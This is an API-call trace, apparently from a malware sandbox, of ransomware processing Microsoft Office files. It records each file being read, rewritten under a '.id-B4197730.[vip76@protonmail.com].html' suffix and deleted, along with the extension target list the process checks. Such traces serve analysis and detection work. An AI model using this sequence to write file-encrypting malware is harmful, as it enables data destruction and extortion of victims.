	[0069.137] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0069.137] lstrlenW (lpString=".ppt") returned 4
	[0069.137] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0069.137] lstrlenW (lpString=".zip") returned 4
	[0069.137] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.137] lstrlenW (lpString=".rar") returned 4
	[0069.137] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.137] lstrlenW (lpString=".bz2") returned 4
	[0069.137] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.137] lstrlenW (lpString=".7z") returned 3
	[0069.137] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0069.137] lstrlenW (lpString=".dbf") returned 4
	[0069.137] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0069.137] lstrlenW (lpString=".1cd") returned 4
	[0069.137] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104
	[0069.137] lstrlenW (lpString=".jpg") returned 4
	[0069.137] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.137] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0069.138] lstrlenW (lpString="AppXManifestLoc.en-us.xml") returned 25
	[0069.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0069.138] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=9831) returned 1
	[0069.138] CloseHandle (hObject=0x334) returned 1
	[0069.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 0x220
	[0069.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0069.138] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.138] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0069.139] GetLastError () returned 0x0
	[0069.139] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x2667, lpOverlapped=0x0) returned 1
	[0069.142] WriteFile (in: hFile=0x380, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x2670, lpOverlapped=0x0) returned 1
	[0069.144] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.144] WriteFile (in: hFile=0x380, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x106, lpOverlapped=0x0) returned 1
	[0069.144] SetEndOfFile (hFile=0x380) returned 1
	[0069.144] CloseHandle (hObject=0x380) returned 1
	[0069.145] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.145] SetEndOfFile (hFile=0x334) returned 1
	[0069.146] CloseHandle (hObject=0x334) returned 1
	[0069.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.147] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 1
	[0069.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0069.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0069.147] lstrlenW (lpString=".doc") returned 4
	[0069.147] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.147] lstrlenW (lpString=".docx") returned 5
	[0069.147] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0069.147] lstrlenW (lpString=".pdf") returned 4
	[0069.147] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.147] lstrlenW (lpString=".xls") returned 4
	[0069.147] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.147] lstrlenW (lpString=".xlsx") returned 5
	[0069.147] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0069.148] lstrlenW (lpString=".ppt") returned 4
	[0069.148] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0069.148] lstrlenW (lpString=".zip") returned 4
	[0069.148] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.148] lstrlenW (lpString=".rar") returned 4
	[0069.148] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.148] lstrlenW (lpString=".bz2") returned 4
	[0069.148] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.148] lstrlenW (lpString=".7z") returned 3
	[0069.148] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0069.148] lstrlenW (lpString=".dbf") returned 4
	[0069.148] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0069.148] lstrlenW (lpString=".1cd") returned 4
	[0069.148] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0069.148] lstrlenW (lpString=".jpg") returned 4
	[0069.148] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0069.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0069.148] lstrlenW (lpString=".doc") returned 4
	[0069.149] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.149] lstrlenW (lpString=".docx") returned 5
	[0069.149] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0069.149] lstrlenW (lpString=".pdf") returned 4
	[0069.149] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.149] lstrlenW (lpString=".xls") returned 4
	[0069.149] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.149] lstrlenW (lpString=".xlsx") returned 5
	[0069.149] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0069.149] lstrlenW (lpString=".ppt") returned 4
	[0069.149] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0069.149] lstrlenW (lpString=".zip") returned 4
	[0069.149] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.149] lstrlenW (lpString=".rar") returned 4
	[0069.150] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.150] lstrlenW (lpString=".bz2") returned 4
	[0069.150] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.150] lstrlenW (lpString=".7z") returned 3
	[0069.150] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0069.150] lstrlenW (lpString=".dbf") returned 4
	[0069.150] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0069.150] lstrlenW (lpString=".1cd") returned 4
	[0069.150] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76
	[0069.150] lstrlenW (lpString=".jpg") returned 4
	[0069.150] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.151] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0069.151] lstrlenW (lpString="AuthoredExtensions.xml") returned 22
	[0069.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0069.151] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=373) returned 1
	[0069.151] CloseHandle (hObject=0x334) returned 1
	[0069.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 0x220
	[0069.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0069.152] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.152] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0069.152] GetLastError () returned 0x0
	[0069.152] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x175, lpOverlapped=0x0) returned 1
	[0069.154] WriteFile (in: hFile=0x380, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x180, lpOverlapped=0x0) returned 1
	[0069.155] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.155] WriteFile (in: hFile=0x380, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x100, lpOverlapped=0x0) returned 1
	[0069.160] SetEndOfFile (hFile=0x380) returned 1
	[0069.160] CloseHandle (hObject=0x380) returned 1
	[0069.161] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.161] SetEndOfFile (hFile=0x334) returned 1
	[0069.162] CloseHandle (hObject=0x334) returned 1
	[0069.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.162] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 1
	[0069.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0069.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0069.163] lstrlenW (lpString=".doc") returned 4
	[0069.163] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.163] lstrlenW (lpString=".docx") returned 5
	[0069.163] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0069.163] lstrlenW (lpString=".pdf") returned 4
	[0069.163] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.163] lstrlenW (lpString=".xls") returned 4
	[0069.163] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.163] lstrlenW (lpString=".xlsx") returned 5
	[0069.163] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0069.163] lstrlenW (lpString=".ppt") returned 4
	[0069.163] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0069.163] lstrlenW (lpString=".zip") returned 4
	[0069.163] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.163] lstrlenW (lpString=".rar") returned 4
	[0069.163] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.163] lstrlenW (lpString=".bz2") returned 4
	[0069.163] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.163] lstrlenW (lpString=".7z") returned 3
	[0069.163] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0069.164] lstrlenW (lpString=".dbf") returned 4
	[0069.164] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0069.164] lstrlenW (lpString=".1cd") returned 4
	[0069.164] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0069.164] lstrlenW (lpString=".jpg") returned 4
	[0069.164] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0069.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0069.164] lstrlenW (lpString=".doc") returned 4
	[0069.164] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.164] lstrlenW (lpString=".docx") returned 5
	[0069.164] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0069.164] lstrlenW (lpString=".pdf") returned 4
	[0069.164] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.164] lstrlenW (lpString=".xls") returned 4
	[0069.164] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.164] lstrlenW (lpString=".xlsx") returned 5
	[0069.164] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0069.164] lstrlenW (lpString=".ppt") returned 4
	[0069.164] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0069.164] lstrlenW (lpString=".zip") returned 4
	[0069.165] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.165] lstrlenW (lpString=".rar") returned 4
	[0069.165] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.165] lstrlenW (lpString=".bz2") returned 4
	[0069.165] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.165] lstrlenW (lpString=".7z") returned 3
	[0069.165] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0069.165] lstrlenW (lpString=".dbf") returned 4
	[0069.165] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0069.165] lstrlenW (lpString=".1cd") returned 4
	[0069.165] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0069.165] lstrlenW (lpString=".jpg") returned 4
	[0069.165] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.165] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0069.165] lstrlenW (lpString="AG00004_.GIF") returned 12
	[0069.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0069.169] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=9024) returned 1
	[0069.169] CloseHandle (hObject=0x334) returned 1
	[0069.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 0x220
	[0069.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0069.169] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.169] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0069.170] GetLastError () returned 0x0
	[0069.170] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x2340, lpOverlapped=0x0) returned 1
	[0069.585] WriteFile (in: hFile=0x380, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x2350, lpOverlapped=0x0) returned 1
	[0069.586] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.586] WriteFile (in: hFile=0x380, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0069.586] SetEndOfFile (hFile=0x380) returned 1
	[0069.587] CloseHandle (hObject=0x380) returned 1
	[0069.588] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.588] SetEndOfFile (hFile=0x334) returned 1
	[0069.589] CloseHandle (hObject=0x334) returned 1
	[0069.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 1
	[0069.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0069.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0069.590] lstrlenW (lpString=".doc") returned 4
	[0069.590] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.590] lstrlenW (lpString=".docx") returned 5
	[0069.590] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.590] lstrlenW (lpString=".pdf") returned 4
	[0069.590] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.590] lstrlenW (lpString=".xls") returned 4
	[0069.590] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.590] lstrlenW (lpString=".xlsx") returned 5
	[0069.590] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.590] lstrlenW (lpString=".ppt") returned 4
	[0069.590] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0069.590] lstrlenW (lpString=".zip") returned 4
	[0069.590] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.590] lstrlenW (lpString=".rar") returned 4
	[0069.590] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.590] lstrlenW (lpString=".bz2") returned 4
	[0069.590] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.590] lstrlenW (lpString=".7z") returned 3
	[0069.590] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0069.590] lstrlenW (lpString=".dbf") returned 4
	[0069.591] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0069.591] lstrlenW (lpString=".1cd") returned 4
	[0069.591] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0069.591] lstrlenW (lpString=".jpg") returned 4
	[0069.591] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0069.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0069.591] lstrlenW (lpString=".doc") returned 4
	[0069.591] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.591] lstrlenW (lpString=".docx") returned 5
	[0069.591] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.591] lstrlenW (lpString=".pdf") returned 4
	[0069.591] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.591] lstrlenW (lpString=".xls") returned 4
	[0069.591] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.591] lstrlenW (lpString=".xlsx") returned 5
	[0069.591] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.591] lstrlenW (lpString=".ppt") returned 4
	[0069.591] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0069.591] lstrlenW (lpString=".zip") returned 4
	[0069.591] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.591] lstrlenW (lpString=".rar") returned 4
	[0069.591] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
